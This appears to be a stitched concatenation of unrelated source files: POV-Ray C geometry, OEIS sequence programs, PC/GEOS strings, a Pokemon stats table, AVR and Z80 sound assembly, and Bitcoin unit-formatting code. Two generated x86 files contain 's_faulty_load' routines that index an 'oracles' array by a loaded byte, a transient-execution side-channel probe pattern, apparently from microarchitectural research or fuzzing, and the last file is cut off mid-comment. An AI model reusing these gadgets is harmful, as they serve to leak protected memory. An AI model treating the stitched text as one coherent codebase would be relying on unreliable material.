bounding box of a triangle. * * CHANGES * * Aug 1994 : Creation. * ******************************************************************************/ void Compute_Triangle_BBox(TRIANGLE *Triangle) { VECTOR Min, Max, Epsilon; Make_Vector(Epsilon, EPSILON, EPSILON, EPSILON); Min[X] = min3(Triangle->P1[X], Triangle->P2[X], Triangle->P3[X]); Min[Y] = min3(Triangle->P1[Y], Triangle->P2[Y], Triangle->P3[Y]); Min[Z] = min3(Triangle->P1[Z], Triangle->P2[Z], Triangle->P3[Z]); Max[X] = max3(Triangle->P1[X], Triangle->P2[X], Triangle->P3[X]); Max[Y] = max3(Triangle->P1[Y], Triangle->P2[Y], Triangle->P3[Y]); Max[Z] = max3(Triangle->P1[Z], Triangle->P2[Z], Triangle->P3[Z]); VSubEq(Min, Epsilon); VAddEq(Max, Epsilon); Make_BBox_from_min_max(Triangle->BBox, Min, Max); } /* AP */ /* corners A B C point inside triangle M Q is intersection of line AM with line BC 1 <= r Q = A + r(M-A) 0 <= s <= 1 Q = B + s(C-B) 0 <= t <=1 M = A + t(Q-A) ra+sb=c rd+se=f rg+sh=i */ DBL Calculate_Smooth_T(VECTOR IPoint, VECTOR P1, VECTOR P2, VECTOR P3) { DBL a,b,c,d,e,f,g,h,i; DBL dm1,dm2,dm3,r,s,t; VECTOR Q; a=IPoint[0]-P1[0]; b=P2[0]-P3[0]; c=P2[0]-P1[0]; d=IPoint[1]-P1[1]; e=P2[1]-P3[1]; f=P2[1]-P1[1]; g=IPoint[2]-P1[2]; h=P2[2]-P3[2]; i=P2[2]-P1[2]; dm1=a*e-d*b; dm2=a*h-g*b; dm3=d*h-g*e; if(dm1*dm1<EPSILON) { if(dm2*dm2<EPSILON) { if(dm3*dm3 < EPSILON) { fprintf(stderr,"all determinants too small\n"); return false; } else { /* use dm3 */ r=(f*h-i*e)/dm3; s=(d*i-g*f)/dm3; } } else { /* use dm2 */ r=(c*h-b*i)/dm2; s=(a*i-g*c)/dm2; } } else { /* use dm1 */ r=(c*e-f*b)/dm1; s=(a*f-d*c)/dm1; } Q[0]=P2[0]+s*(P3[0]-P2[0]); Q[1]=P2[1]+s*(P3[1]-P2[1]); Q[2]=P2[2]+s*(P3[2]-P2[2]); /* t=(M-A)/(Q-A) */ a=Q[0]-P1[0]; b=Q[1]-P1[1]; c=Q[2]-P1[2]; if(a*a<EPSILON) { if(b*b<EPSILON) { if(c*c<EPSILON) { t=0; } else { t=(IPoint[2]-P1[2])/c; } } else { t=(IPoint[1]-P1[1])/b; } } else { t=(IPoint[0]-P1[0])/a; } return t; } END_POV_NAMESPACE
global shortest_steps_to_num ; <-- EAX shortest_steps_to_num(EDI num) --> shortest_steps_to_num: xor eax, eax ; eax = step counter, edi = num loop: cmp edi, 1 jbe exit ; 1 is reached test edi, 1 jz no_dec dec edi ; +1 step inc eax no_dec: sar edi, 1 ; *2 step inc eax jmp loop exit: ret ; -----> endof shortest_steps_to_num <-----
; A162466: a(n) = 12*a(n-2) for n > 2; a(1) = 1, a(2) = 8. ; Submitted by Christian Krause ; 1,8,12,96,144,1152,1728,13824,20736,165888,248832,1990656,2985984,23887872,35831808,286654464,429981696,3439853568,5159780352,41278242816,61917364224,495338913792,743008370688,5944066965504 mov $1,1 lpb $0 sub $0,2 mul $1,12 lpe lpb $0 trn $0,9 mul $1,8 lpe mov $0,$1
; A216689: E.g.f. exp( x * exp(x)^2 ). ; Submitted by Jon Maiga ; 1,1,5,25,153,1121,9373,87417,898033,10052353,121492341,1573957529,21729801481,318121178337,4917743697805,79981695655801,1364227940101857,24335561350365953,452874096174214117,8772713803852981785,176541611843378273401,3684142819311127955041,79596388271096140589949,1777752312376872316613753,40989993852031814657312977,974470179944999254470502401,23858373381278777718168215893,600937789239555619979605683097,15556172173998766176418965245673,413483773493693459939858447188193 mov $1,1 mov $4,$0 lpb $0 sub $0,1 mov $2,$4 sub $2,$1 mul $2,2 pow $2,$1 mov $3,$4 bin $3,$1 add $1,1 mul $3,$2 add $5,$3 lpe mov $0,$5 add $0,1
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Nimbus Font Converter FILE: ninfntStrings.asm AUTHOR: Gene Anderson, Apr 26, 1991 REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 4/26/91 Initial revision JDM 91.05.09 Move StringsUI from UI file. DESCRIPTION: String resources for Nimbus font converter $Id: ninfntStrings.asm,v 1.1 97/04/04 16:16:49 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; NOTE: the order must be the same as the NimbusError enum ; ErrorStrings segment lmem LMEM_TYPE_GENERAL abortMsg chunk.char "Aborting.",0 openErrorMsg chunk.char "Error opening Nimbus font file.",0 closeErrorMsg chunk.char "Error closing Nimbus font file.",0 readErrorMsg chunk.char "Error reading Nimbus font file.",0 createErrorMsg chunk.char "Error creating PC/GEOS font file.",0 writeErrorMsg chunk.char "Error writing PC/GEOS font file.",0 memoryErrorMsg chunk.char "Memory allocation error.",0 badDataErrorMsg chunk.char "Bad data in Nimbus font file.",0 noCharsErrorMsg chunk.char "No PC/GEOS characters found in font.",0 charMissingMsg chunk.char "Missing character in accent composite.",0 noFontIDsMsg chunk.char "No available font IDs.",0 fontIDInUseMsg chunk.char "Font already installed.",0 fontExistsMsg chunk.char "Font already exists in system.",0 ErrorStrings ends FIRST_ERROR equ abortMsg StringsUI segment lmem LMEM_TYPE_GENERAL NimbusFontInstallStubString chunk.char \ "This functionality not yet implemented.",0 NimbusFontInstallAllocFailedString chunk.char \ "Unable to allocate memory block.",0 NimbusFontInstallFileReadErrorString chunk.char \ "Unable to read from file.",0 NimbusFontInstallSetDirectoryFailedString chunk.char \ "Unable to set the current directory.",0 NimbusFontInstallFileIgnoringString chunk.char \ "Unable to open \"\1\" for reading -- ignoring.",0 NimbusFontInstallNameInsertFailedString chunk.char \ "Unable to insert the names into list.",0 NimbusFontInstallNoFontFilesFoundString chunk.char \ "No valid font files were found. Please try again.",0 NimbusFontInstallConversionCompleteString chunk.char \ "Conversion complete.", 0 NimbusFontInstallConfirmFileOverwriteString chunk.char \ "The file already exists. Overwrite?", 0 NimbusFontInstallRestartSystemQueryString chunk.char \ "PC/GEOS needs to be restarted for a change to the ", "available fonts to take effect. Do you wish to ", "proceed?", 0 NimbusFontInstallNullNameString chunk.char \ "You must assign a name to the font.",0 StringsUI ends
ORG 0 MOVE MSTART, SP MOVE 1, R0 STORE R0, (M1) LOAD R0, (M1) ; assert R0 == 1 LOAD R1, (NUM1) STORE R1, (SP+4) LOAD R1, (SP+4) ; assert R1 == 0xABCDDCBA MOVE 2, R2 STOREH R2, (M3) LOADH R2, (M3) ; assert R2 == 2 LOAD R3, (NUM1) STOREH R3, (SP+0C) LOADH R3, (SP+0C) ; assert R3 == 0xDCBA MOVE 3, R4 STOREB R4, (M5) LOADB R4, (M5) ; assert R4 == 3 LOAD R5, (NUM1) STOREB R5, (SP+14) LOADB R5, (SP+14) ; assert R5 == 0xBA MOVE 0FF, R6 STOREB R6, (NUM1) LOAD R6, (NUM1) ; assert R6 == 0xABCDCFF HALT NUM1 DW 0ABCDDCBA MSTART M1 DW 0 M2 DW 0 M3 DH 0 M4 DH 0 M5 DB 0 M6 DB 0
db DEX_RAPIDASH ; pokedex id db 65 ; base hp db 100 ; base attack db 70 ; base defense db 105 ; base speed db 80 ; base special db FIRE ; species type 1 db FIRE ; species type 2 db FULL_HEAL ; catch rate db 192 ; base exp yield INCBIN "pic/ymon/rapidash.pic",0,1 ; 77, sprite dimensions dw RapidashPicFront dw RapidashPicBack ; attacks known at lvl 0 db EMBER db TAIL_WHIP db STOMP db GROWL db 0 ; growth rate ; learnset tmlearn 6,7,8 tmlearn 9,10,15,16 tmlearn 20 tmlearn 31,32 tmlearn 33,38,39 tmlearn 44 tmlearn 50 db BANK(RapidashPicFront)
; A216318: Number of peaks in all Dyck n-paths after changing each valley to a peak by the transform DU -> UD. ; Submitted by Christian Krause ; 0,1,2,8,31,119,456,1749,6721,25883,99892,386308,1496782,5809478,22584160,87922215,342741285,1337698515,5226732060,20442936360,80031775890,313585934610,1229695855440,4825705232010,18950613058026,74467158658974,292797216620776,1151895428382104,4534067061453916,17855736333499372,70350937530108928,277301831370834347,1093492182221877613,4313690157067185027,17023290912478690476,67203374151044409824,265389610660889358826,1048370747981609752154,4142641743727437080816,16374392387216170884710 mov $1,$0 mov $2,1 bin $2,$0 add $2,$0 mul $0,2 add $1,1 bin $0,$1 sub $2,1 mul $2,2 bin $2,$1 add $0,$2 div $0,2
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1135, %rsi lea addresses_normal_ht+0x17c35, %rdi nop nop nop nop nop cmp %rdx, %rdx mov $34, %rcx rep movsq nop nop nop nop sub %r13, %r13 lea addresses_A_ht+0xcbad, %r13 nop nop cmp %rdi, %rdi mov (%r13), %si nop nop nop xor $43460, %rdx lea addresses_WC_ht+0xb36f, %rsi lea addresses_UC_ht+0x4135, %rdi nop nop nop xor $64114, %r14 mov $71, %rcx rep movsq nop add $54056, %rdi lea addresses_normal_ht+0xd935, %r14 nop nop cmp %r11, %r11 mov $0x6162636465666768, %rsi movq %rsi, %xmm3 movups %xmm3, (%r14) nop nop nop nop and $56105, %rdx lea addresses_D_ht+0x17135, %r11 clflush (%r11) cmp $46142, %rcx mov (%r11), %rdx nop add %rdx, %rdx lea addresses_WT_ht+0x4335, %rsi nop nop nop nop xor $24639, %rdi movw $0x6162, (%rsi) nop nop cmp $42644, %rcx lea addresses_D_ht+0x14fb5, %rsi lea addresses_WC_ht+0x1c995, %rdi nop nop nop cmp %r14, %r14 mov $31, %rcx rep movsq nop nop nop nop nop inc %r11 lea addresses_D_ht+0x15535, %rsi nop nop nop sub $13255, %rcx movb (%rsi), %r14b nop nop nop nop nop add %r13, %r13 lea addresses_normal_ht+0x1b335, %rsi lea addresses_A_ht+0x17535, %rdi nop and %r13, %r13 mov $42, %rcx rep movsq nop nop xor %r14, %r14 lea addresses_D_ht+0x11ef, %rsi lea addresses_WC_ht+0x1cc35, %rdi nop nop nop nop xor $56041, %r9 mov $94, %rcx rep movsw nop nop nop xor %rdx, %rdx lea addresses_A_ht+0x7215, %rdx nop add $2168, %r14 vmovups (%rdx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r13 nop nop nop add $15102, %rdx lea addresses_UC_ht+0x15935, %rdx and $42254, %rcx mov (%rdx), %r11d add $60637, %r13 lea addresses_normal_ht+0x1e7cd, %rcx nop sub %rsi, %rsi movb $0x61, (%rcx) nop nop nop cmp $10700, %r11 lea addresses_UC_ht+0x15cd5, %r11 and $30751, %r14 mov (%r11), %di nop add %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %rbp push %rbx push %rdi // Store lea addresses_A+0xed35, %r12 nop nop nop nop nop and %rbx, %rbx mov $0x5152535455565758, %rdi movq %rdi, %xmm0 vmovaps %ymm0, (%r12) nop nop nop nop xor %rbx, %rbx // Faulty Load lea addresses_A+0x15d35, %rdi nop nop nop nop nop xor %r11, %r11 movb (%rdi), %r12b lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rdi pop %rbx pop %rbp pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'58': 136} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
; A016724: Expansion of (2-2*x-x^2)/((1-2*x^2)*(1-x)^2). ; 2,2,5,4,9,6,15,8,25,10,43,12,77,14,143,16,273,18,531,20,1045,22,2071,24,4121,26,8219,28,16413,30,32799,32,65569,34,131107,36,262181,38,524327,40,1048617,42,2097195,44,4194349,46,8388655,48,16777265,50,33554483,52,67108917,54,134217783,56,268435513,58,536870971,60,1073741885,62,2147483711,64,4294967361,66,8589934659,68,17179869253,70,34359738439,72,68719476809,74,137438953547,76,274877907021,78,549755813967,80,1099511627857,82,2199023255635,84,4398046511189,86,8796093022295,88,17592186044505,90,35184372088923,92,70368744177757,94,140737488355423,96,281474976710753,98,562949953421411,100,1125899906842725,102,2251799813685351,104,4503599627370601,106,9007199254741099,108 mov $2,$0 mov $3,$0 sub $0,$0 add $0,1 mov $1,1 lpb $2,1 mul $1,2 sub $2,1 lpb $0,1 mov $0,$2 mov $1,$4 lpe trn $2,1 lpe add $1,1 mov $5,1 mov $6,$3 lpb $5,1 add $1,$6 sub $5,1 lpe
.include "header.asm" CODE .include "code.asm" DATA .include "data.asm"
; A099525: Expansion of 1/(1-2x-3x^3). ; Submitted by Christian Krause ; 1,2,4,11,28,68,169,422,1048,2603,6472,16088,39985,99386,247036,614027,1526212,3793532,9429145,23436926,58254448,144796331,359903440,894570224,2223529441,5526769202,13737249076,34145086475,84870480556 lpb $0 sub $0,1 mul $1,3 add $2,27 add $2,$4 mov $3,$1 mov $1,$4 add $2,$3 mov $4,$2 sub $4,$3 lpe mov $0,$2 div $0,27 add $0,1
jmp main .org 0x2E // TIMER0 OVF jmp timer_interrupt .org 0x4C main: // Stack init ldi r16, low(RAMEND) ldi r17, high(RAMEND) out SPL, r16 out SPH, r17 // Timer init ldi r16, 0 ldi r17, (1<<CS02) | (0<<CS01) | (1<<CS00) // 1024 prescaler = 101 ldi r18, (1<<TOIE0) // overflow interrupt en out TCCR0A, r16 out TCCR0B, r17 sts TIMSK0, r18 sei // global interrupt en ldi r16, 0xFF out DDRA, r16 out PORTA, r16 main_loop: rjmp main_loop timer_interrupt: push r16 in r16, SREG push r16 in r16, PORTA com r16 out PORTA, r16 pop r16 out SREG, r16 pop r16 reti
; $Id: bit_fx2_mwr.asm $ ; ; 1 bit sound library - version for "memory write" I/O architectures ; sound effects module. ; Alternate sound library by Stefano Bodrato ; IF !__CPU_GBZ80__ && !__CPU_INTEL__ SECTION smc_clib PUBLIC bit_fx2 PUBLIC _bit_fx2 INCLUDE "games/games.inc" EXTERN bit_open EXTERN bit_open_di EXTERN bit_close EXTERN bit_close_ei .bit_fx2 ._bit_fx2 ld a,l cp 8 ret nc add a,a ld e,a ld d,0 ld hl,table add hl,de ld a,(hl) inc hl ld h,(hl) ld l,a jp (hl) .table defw DeepSpace ; effect #0 defw SSpace2 defw TSpace defw Clackson2 defw TSpace2 defw TSpace3 ; effect #5 defw Squoink defw explosion ;Space sound .DeepSpace call bit_open_di .DS_LENGHT ld b,100 ;ld c,sndbit_port .ds_loop dec h jr nz,ds_jump xor sndbit_mask ld (sndbit_port),a push bc ld b,250 .loosetime1 djnz loosetime1 pop bc xor sndbit_mask ld (sndbit_port),a .ds_FR_1 ;ld h,230 ld h,254 .ds_jump dec l jr nz,ds_loop xor sndbit_mask ld (sndbit_port),a push bc ld b,200 .loosetime2 djnz loosetime2 pop bc xor sndbit_mask ld (sndbit_port),a .ds_FR_2 ld l,255 djnz ds_loop call bit_close_ei ret ;Dual note with fuzzy addedd .SSpace2 call bit_open_di .SS_LENGHT ld b,100 ;ld c,sndbit_port .ss_loop dec h jr nz,ss_jump push hl push af ld a,sndbit_mask ld h,0 and (hl) ld l,a pop af xor l ld (sndbit_port),a pop hl xor sndbit_mask ld (sndbit_port),a .ss_FR_1 ld h,230 .ss_jump dec l jr nz,ss_loop xor sndbit_mask ld (sndbit_port),a .ss_FR_2 ld l,255 djnz ss_loop call bit_close_ei ret ;Dual note with LOT of fuzzy addedd .TSpace call bit_open_di .TS_LENGHT ld b,100 ;ld c,sndbit_port .ts_loop dec h jr nz,ts_jump push hl push af ld a,sndbit_mask ld h,0 and (hl) ld l,a pop af xor l ld (sndbit_port),a pop hl xor sndbit_mask ld (sndbit_port),a .ts_FR_1 ld h,130 .ts_jump dec l jr nz,ts_loop push hl push af ld a,sndbit_mask ld l,h ld h,0 and (hl) ld l,a pop af xor l ld (sndbit_port),a pop hl xor sndbit_mask ld (sndbit_port),a .ts_FR_2 ld l,155 djnz ts_loop call bit_close_ei ret .Clackson2 call bit_open_di .CS_LENGHT ld b,200 ;ld c,sndbit_port .cs_loop dec h jr nz,cs_jump xor sndbit_mask ld (sndbit_port),a push bc ld b,250 .cswait1 djnz cswait1 pop bc xor sndbit_mask ld (sndbit_port),a .cs_FR_1 ld h,230 .cs_jump inc l jr nz,cs_loop xor sndbit_mask ld (sndbit_port),a push bc ld b,200 .cswait2 djnz cswait2 pop bc xor sndbit_mask ld (sndbit_port),a .cs_FR_2 ld l,0 djnz cs_loop call bit_close_ei ret .TSpace2 ld a,230 ld (t2_FR_1+1),a xor a ld (t2_FR_2+1),a call bit_open_di .T2_LENGHT ld b,200 ;ld c,sndbit_port .t2_loop dec h jr nz,t2_jump xor sndbit_mask ld (sndbit_port),a push bc ld b,250 .wait1 djnz wait1 pop bc xor sndbit_mask ld (sndbit_port),a .t2_FR_1 ld h,230 .t2_jump inc l jr nz,t2_loop push af ld a,(t2_FR_2+1) inc a ld (t2_FR_2+1),a pop af xor sndbit_mask ld (sndbit_port),a push bc ld b,200 .wait2 djnz wait2 pop bc xor sndbit_mask ld (sndbit_port),a .t2_FR_2 ld l,0 djnz t2_loop call bit_close_ei ret .TSpace3 ld a,230 ld (u2_FR_1+1),a xor a ld (u2_FR_2+1),a call bit_open_di .U2_LENGHT ld b,200 ;ld c,sndbit_port .u2_loop dec h jr nz,u2_jump push af ld a,(u2_FR_1+1) inc a ld (u2_FR_1+1),a pop af xor sndbit_mask ld (sndbit_port),a .u2_FR_1 ld h,50 .u2_jump inc l jr nz,u2_loop push af ld a,(u2_FR_2+1) inc a ld (u2_FR_2+1),a pop af xor sndbit_mask ld (sndbit_port),a .u2_FR_2 ld l,0 djnz u2_loop call bit_close_ei ret .Squoink ld a,230 ld (qi_FR_1+1),a xor a ld (qi_FR_2+1),a call bit_open_di .qi_LENGHT ld b,200 ;ld c,sndbit_port .qi_loop dec h jr nz,qi_jump push af ld a,(qi_FR_1+1) dec a ld (qi_FR_1+1),a pop af xor sndbit_mask ld (sndbit_port),a .qi_FR_1 ld h,50 .qi_jump inc l jr nz,qi_loop push af ld a,(qi_FR_2+1) inc a ld (qi_FR_2+1),a pop af xor sndbit_mask ld (sndbit_port),a .qi_FR_2 ld l,0 djnz qi_loop call bit_close_ei ret .explosion call bit_open_di ld hl,1 .expl push hl push af ld a,sndbit_mask ld h,0 and (hl) ld l,a pop af xor l ld (sndbit_port),a pop hl push af ld b,h ld c,l .dly dec bc ld a,b or c jr nz,dly pop af inc hl bit 1,h jr z,expl call bit_close_ei ret ENDIF
// Copyright (c) 2011-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "bitcoinunits.h" #include "primitives/transaction.h" #include <QStringList> BitcoinUnits::BitcoinUnits(QObject *parent): QAbstractListModel(parent), unitlist(availableUnits()) { } QList<BitcoinUnits::Unit> BitcoinUnits::availableUnits() { QList<BitcoinUnits::Unit> unitlist; unitlist.append(BTC); unitlist.append(mBTC); unitlist.append(uBTC); return unitlist; } bool BitcoinUnits::valid(int unit) { switch(unit) { case BTC: case mBTC: case uBTC: return true; default: return false; } } QString BitcoinUnits::name(int unit) { switch(unit) { case BTC: return QString("OVO"); case mBTC: return QString("ovatos"); case uBTC: return QString("ovas"); default: return QString("???"); } } QString BitcoinUnits::description(int unit) { switch(unit) { case BTC: return QString("Ovatos"); case mBTC: return QString("Lites (1 / 1" THIN_SP_UTF8 "000)"); case uBTC: return QString("Photons (1 / 1" THIN_SP_UTF8 "000" THIN_SP_UTF8 "000)"); default: return QString("???"); } } qint64 BitcoinUnits::factor(int unit) { switch(unit) { case BTC: return 100000000; case mBTC: return 100000; case uBTC: return 100; default: return 100000000; } } int BitcoinUnits::decimals(int unit) { switch(unit) { case BTC: return 8; case mBTC: return 5; case uBTC: return 2; default: return 0; } } QString BitcoinUnits::format(int unit, const CAmount& nIn, bool fPlus, SeparatorStyle separators) { // Note: not using straight sprintf here because we do NOT want // localized number formatting. if(!valid(unit)) return QString(); // Refuse to format invalid unit qint64 n = (qint64)nIn; qint64 coin = factor(unit); int num_decimals = decimals(unit); qint64 n_abs = (n > 0 ? n : -n); qint64 quotient = n_abs / coin; qint64 remainder = n_abs % coin; QString quotient_str = QString::number(quotient); QString remainder_str = QString::number(remainder).rightJustified(num_decimals, '0'); // Use SI-style thin space separators as these are locale independent and can't be // confused with the decimal marker. QChar thin_sp(THIN_SP_CP); int q_size = quotient_str.size(); if (separators == separatorAlways || (separators == separatorStandard && q_size > 4)) for (int i = 3; i < q_size; i += 3) quotient_str.insert(q_size - i, thin_sp); if (n < 0) quotient_str.insert(0, '-'); else if (fPlus && n > 0) quotient_str.insert(0, '+'); return quotient_str + QString(".") + remainder_str; } // NOTE: Using formatWithUnit in an HTML context risks wrapping // quantities at the thousands separator. More subtly, it also results // in a standard space rather than a thin space, due to a bug in Qt's // XML whitespace canonicalisation // // Please take care to use formatHtmlWithUnit instead, when // appropriate. QString BitcoinUnits::formatWithUnit(int unit, const CAmount& amount, bool plussign, SeparatorStyle separators) { return format(unit, amount, plussign, separators) + QString(" ") + name(unit); } QString BitcoinUnits::formatHtmlWithUnit(int unit, const CAmount& amount, bool plussign, SeparatorStyle separators) { QString str(formatWithUnit(unit, amount, plussign, separators)); str.replace(QChar(THIN_SP_CP), QString(THIN_SP_HTML)); return QString("<span style='white-space: nowrap;'>%1</span>").arg(str); } bool BitcoinUnits::parse(int unit, const QString &value, CAmount *val_out) { if(!valid(unit) || value.isEmpty()) return false; // Refuse to parse invalid unit or empty string int num_decimals = decimals(unit); // Ignore spaces and thin spaces when parsing QStringList parts = removeSpaces(value).split("."); if(parts.size() > 2) { return false; // More than one dot } QString whole = parts[0]; QString decimals; if(parts.size() > 1) { decimals = parts[1]; } if(decimals.size() > num_decimals) { return false; // Exceeds max precision } bool ok = false; QString str = whole + decimals.leftJustified(num_decimals, '0'); if(str.size() > 18) { return false; // Longer numbers will exceed 63 bits } CAmount retvalue(str.toLongLong(&ok)); if(val_out) { *val_out = retvalue; } return ok; } QString BitcoinUnits::getAmountColumnTitle(int unit) { QString amountTitle = QObject::tr("Amount"); if (BitcoinUnits::valid(unit)) { amountTitle += " ("+BitcoinUnits::name(unit) + ")"; } return amountTitle; } int BitcoinUnits::rowCount(const QModelIndex &parent) const { Q_UNUSED(parent); return unitlist.size(); } QVariant BitcoinUnits::data(const QModelIndex &index, int role) const { int row = index.row(); if(row >= 0 && row < unitlist.size()) { Unit unit = unitlist.at(row); switch(role) { case Qt::EditRole: case Qt::DisplayRole: return QVariant(name(unit)); case Qt::ToolTipRole: return QVariant(description(unit)); case UnitRole: return QVariant(static_cast<int>(unit)); } } return QVariant(); } CAmount BitcoinUnits::maxMoney() { return MAX_MONEY; }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x150e8, %rdx nop nop nop inc %r12 vmovups (%rdx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r8 nop nop nop nop xor $2828, %r15 lea addresses_D_ht+0xdc68, %rsi lea addresses_UC_ht+0x1b638, %rdi nop nop nop sub %r10, %r10 mov $45, %rcx rep movsq nop nop add $47315, %r10 lea addresses_WT_ht+0x402, %r8 nop nop xor %r10, %r10 movb (%r8), %dl cmp $61495, %r8 lea addresses_WT_ht+0x16cb3, %rsi lea addresses_D_ht+0x18034, %rdi nop nop nop nop nop inc %rdx mov $106, %rcx rep movsq sub %rdx, %rdx lea addresses_UC_ht+0x1b268, %rdi add $13084, %r15 movl $0x61626364, (%rdi) nop nop nop sub $5486, %r8 lea addresses_WC_ht+0xc868, %rcx nop nop nop add %rdx, %rdx and $0xffffffffffffffc0, %rcx vmovntdqa (%rcx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rsi nop nop nop add $30255, %r12 lea addresses_WC_ht+0x1b77c, %rsi lea addresses_WT_ht+0x15468, %rdi nop sub %r12, %r12 mov $61, %rcx rep movsl nop nop nop add $58104, %rdi lea addresses_D_ht+0x182e8, %rsi lea addresses_UC_ht+0xe091, %rdi nop nop nop nop sub %r8, %r8 mov $88, %rcx rep movsw nop nop sub %r15, %r15 lea addresses_WC_ht+0xa758, %rsi lea addresses_normal_ht+0x1c68, %rdi clflush (%rsi) nop nop nop and $61453, %r8 mov $9, %rcx rep movsw sub %r12, %r12 lea addresses_WT_ht+0x18f68, %r10 nop nop nop sub $26704, %r15 mov (%r10), %cx nop nop nop nop nop lfence lea addresses_WT_ht+0x88e8, %r15 nop sub %rcx, %rcx movups (%r15), %xmm7 vpextrq $0, %xmm7, %rdi nop nop nop and %r10, %r10 lea addresses_WC_ht+0xe132, %rsi lea addresses_D_ht+0x9258, %rdi nop nop nop nop and $65308, %r12 mov $65, %rcx rep movsb nop nop nop and $27501, %rdx lea addresses_D_ht+0x4c68, %rdx nop and %r10, %r10 mov (%rdx), %r15w nop nop nop nop inc %rdi lea addresses_WC_ht+0x14168, %rsi lea addresses_A_ht+0x1ab48, %rdi clflush (%rsi) nop nop nop inc %r12 mov $70, %rcx rep movsl nop nop nop nop nop add $38993, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r8 push %rax push %rbp push %rbx // Store lea addresses_UC+0x6068, %rax nop cmp $52710, %r14 movb $0x51, (%rax) nop nop and $41731, %r10 // Load lea addresses_RW+0x1b38c, %r14 nop nop nop nop cmp %r8, %r8 mov (%r14), %bp nop nop sub $39124, %rbx // Store lea addresses_PSE+0xa084, %r8 sub $48828, %r11 movl $0x51525354, (%r8) nop nop nop and $35584, %r11 // Faulty Load lea addresses_D+0x1a468, %rbp inc %r11 vmovaps (%rbp), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r14 lea oracles, %rax and $0xff, %r14 shlq $12, %r14 mov (%rax,%r14,1), %r14 pop %rbx pop %rbp pop %rax pop %r8 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': 